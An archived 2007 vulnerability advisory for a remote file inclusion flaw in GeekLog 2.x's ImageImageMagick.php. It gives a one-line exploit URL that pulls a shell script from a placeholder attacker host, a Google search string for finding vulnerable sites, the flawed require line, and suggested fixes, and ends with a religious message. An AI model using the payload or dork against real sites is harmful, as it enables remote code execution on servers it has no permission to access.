GeekLog 2.x ImageImageMagick.php Remote File Inclusion Vulnerability

🗓️ 18 May 2007 00:00:00Reported by RootType
GeekLog 2.x ImageImageMagick.php Remote File Inclusion Vulnerability on 05/18/2007. Vulnerability affects GeekLog 2.* using ImageImageMagick.php file for remote file inclusion

                                                --------------------------------[&nbsp;05/18/2007&nbsp;]---------------------------------

GeekLog&nbsp;2.*&nbsp;(ImageImageMagick.php)&nbsp;RFI&nbsp;Vuln

-----------------------------------[&nbsp;ASCII&nbsp;]-----------------------------------

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;##&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;###&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;###&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;##&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;###&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;/###&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;##&nbsp;&nbsp;&nbsp;###&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;##&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;/&nbsp;&nbsp;###&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;##&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;##&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;##&nbsp;&nbsp;&nbsp;###&nbsp;&nbsp;##&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;##&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;##&nbsp;&nbsp;/&nbsp;&nbsp;##&nbsp;&nbsp;&nbsp;&nbsp;####&nbsp;##&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;###&nbsp;##&nbsp;&nbsp;###&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/##&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/###&nbsp;&nbsp;&nbsp;&nbsp;##&nbsp;##&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;##&nbsp;##&nbsp;&nbsp;##&nbsp;&nbsp;&nbsp;&nbsp;###&nbsp;&nbsp;&nbsp;&nbsp;####&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;#########&nbsp;###&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;###&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;####&nbsp;/&nbsp;##&nbsp;##&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;##&nbsp;&nbsp;##&nbsp;&nbsp;&nbsp;##&nbsp;&nbsp;&nbsp;&nbsp;###&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;###&nbsp;&nbsp;/&nbsp;
##&nbsp;&nbsp;&nbsp;####&nbsp;&nbsp;&nbsp;##&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;###&nbsp;&nbsp;&nbsp;##&nbsp;&nbsp;###/&nbsp;&nbsp;##&nbsp;##&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;##&nbsp;&nbsp;##&nbsp;&nbsp;&nbsp;##&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;###&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;###/&nbsp;&nbsp;
##&nbsp;&nbsp;&nbsp;&nbsp;##&nbsp;&nbsp;&nbsp;&nbsp;##&nbsp;&nbsp;&nbsp;##&nbsp;&nbsp;&nbsp;&nbsp;###&nbsp;####&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;##&nbsp;##&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;##&nbsp;&nbsp;&nbsp;##&nbsp;&nbsp;&nbsp;##&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;##&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;##&nbsp;&nbsp;&nbsp;
##&nbsp;&nbsp;&nbsp;&nbsp;##&nbsp;&nbsp;&nbsp;&nbsp;##&nbsp;&nbsp;&nbsp;########&nbsp;&nbsp;&nbsp;&nbsp;###&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;##&nbsp;##&nbsp;&nbsp;&nbsp;&nbsp;##&nbsp;&nbsp;&nbsp;&nbsp;##&nbsp;&nbsp;&nbsp;##&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;##&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;##&nbsp;&nbsp;&nbsp;
##&nbsp;&nbsp;&nbsp;&nbsp;##&nbsp;&nbsp;&nbsp;&nbsp;##&nbsp;&nbsp;&nbsp;#######&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;###&nbsp;&nbsp;&nbsp;&nbsp;##&nbsp;&nbsp;##&nbsp;&nbsp;##&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;##&nbsp;&nbsp;&nbsp;##&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;##&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;##&nbsp;&nbsp;&nbsp;
##&nbsp;&nbsp;&nbsp;&nbsp;##&nbsp;&nbsp;&nbsp;&nbsp;##&nbsp;&nbsp;&nbsp;##&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;###&nbsp;&nbsp;##&nbsp;&nbsp;&nbsp;##&nbsp;#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;##&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;##&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;##&nbsp;&nbsp;&nbsp;
##&nbsp;&nbsp;&nbsp;&nbsp;/#&nbsp;&nbsp;&nbsp;&nbsp;##&nbsp;&nbsp;&nbsp;####&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;/###&nbsp;&nbsp;##&nbsp;&nbsp;##&nbsp;&nbsp;&nbsp;&nbsp;###&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;##&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;####/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;###&nbsp;/&nbsp;######/&nbsp;&nbsp;/&nbsp;####&nbsp;/&nbsp;&nbsp;&nbsp;###&nbsp;/&nbsp;&nbsp;######/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;######/&nbsp;######/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;###&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;##/&nbsp;&nbsp;&nbsp;#####&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;###/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;##/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;###&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#####&nbsp;&nbsp;&nbsp;#####&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-dsd863&nbsp;[at]&nbsp;yahoo.com-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
---------------------------------[&nbsp;Contacts&nbsp;]---------------------------------

				diesl0w&nbsp;@&nbsp;UnderNET
		#hackphreak&nbsp;#oldskewl&nbsp;#ubergeeks&nbsp;#linux.edu&nbsp;#linuxhq

----------------------------------[&nbsp;Credit&nbsp;]----------------------------------

rgod&nbsp;&lt;rgod&nbsp;[at]&nbsp;autistici.org&gt;&nbsp;for&nbsp;his&nbsp;original&nbsp;BaseView.php&nbsp;RFI&nbsp;find

---------------------------------[&nbsp;Download&nbsp;]---------------------------------

http://www.geeklog.net/nightly/geeklog2-cvs-nightly.tar.gz

---------------------------------[&nbsp;Vuln&nbsp;Code&nbsp;]--------------------------------

[geeklog&nbsp;path]/system/ImageImageMagick.php?glConf[path_system]=http://www.badsite.com/shell.txt?


-----------------------------------[&nbsp;Issue&nbsp;]----------------------------------

-Line&nbsp;3&nbsp;of&nbsp;ImageImageMagick.php-

require&nbsp;$glConf['path_system']&nbsp;.&nbsp;'BaseImage.php';

-----------------------------------[&nbsp;Google&nbsp;]----------------------------------

&quot;Powered&nbsp;By&nbsp;Geeklog&quot;

----------------------------------[&nbsp;Solution&nbsp;]---------------------------------
Change&nbsp;php.ini&nbsp;and&nbsp;set&nbsp;allow_url_fopen&nbsp;to&nbsp;Off
(Not&nbsp;tested&nbsp;but&nbsp;disabling&nbsp;URL-Access&nbsp;will&nbsp;fix&nbsp;the&nbsp;issue)

or

Insert&nbsp;the&nbsp;following&nbsp;code&nbsp;before&nbsp;line&nbsp;3:

Add&nbsp;the&nbsp;following&nbsp;code:

if&nbsp;(strpos&nbsp;($_SERVER['PHP_SELF'],&nbsp;'ImageImageMagick.php')&nbsp;!==&nbsp;false){&nbsp;die('Cant&nbsp;access&nbsp;file&nbsp;by&nbsp;itself.');&nbsp;}

----------------------------[&nbsp;Word&nbsp;from&nbsp;my&nbsp;sponsor&nbsp;]---------------------------

Non-Christians:&nbsp;We&nbsp;were&nbsp;born&nbsp;sinners&nbsp;in&nbsp;need&nbsp;of&nbsp;a&nbsp;fix.&nbsp;Without&nbsp;Jesus&nbsp;as&nbsp;a&nbsp;we&nbsp;are&nbsp;going&nbsp;to&nbsp;hell.&nbsp;point&nbsp;blank
Christians:&nbsp;Keep&nbsp;passing&nbsp;the&nbsp;faith.&nbsp;Crucify&nbsp;yourself&nbsp;daily.&nbsp;When&nbsp;you&nbsp;fall,&nbsp;get&nbsp;back&nbsp;up.

Romans&nbsp;3:23
&quot;for&nbsp;all&nbsp;have&nbsp;sinned&nbsp;and&nbsp;fall&nbsp;short&nbsp;of&nbsp;the&nbsp;glory&nbsp;of&nbsp;God&quot;

Romans&nbsp;6:23
&quot;For&nbsp;the&nbsp;wages&nbsp;of&nbsp;sin&nbsp;is&nbsp;death,&nbsp;but&nbsp;the&nbsp;gift&nbsp;of&nbsp;God&nbsp;is&nbsp;eternal&nbsp;life&nbsp;through&nbsp;Jesus&nbsp;Christ&nbsp;our&nbsp;Lord.&quot;

Romans&nbsp;10:9
&quot;That&nbsp;if&nbsp;you&nbsp;confess&nbsp;with&nbsp;your&nbsp;mouth,&nbsp;&quot;Jesus&nbsp;is&nbsp;Lord,&quot;&nbsp;and&nbsp;believe&nbsp;in&nbsp;your&nbsp;heart&nbsp;that&nbsp;God&nbsp;raised&nbsp;him&nbsp;from&nbsp;the&nbsp;dead,&nbsp;you&nbsp;will&nbsp;be&nbsp;saved.&quot;
18 May 2007 00:00Current
7.1High risk
Vulners AI Score7.1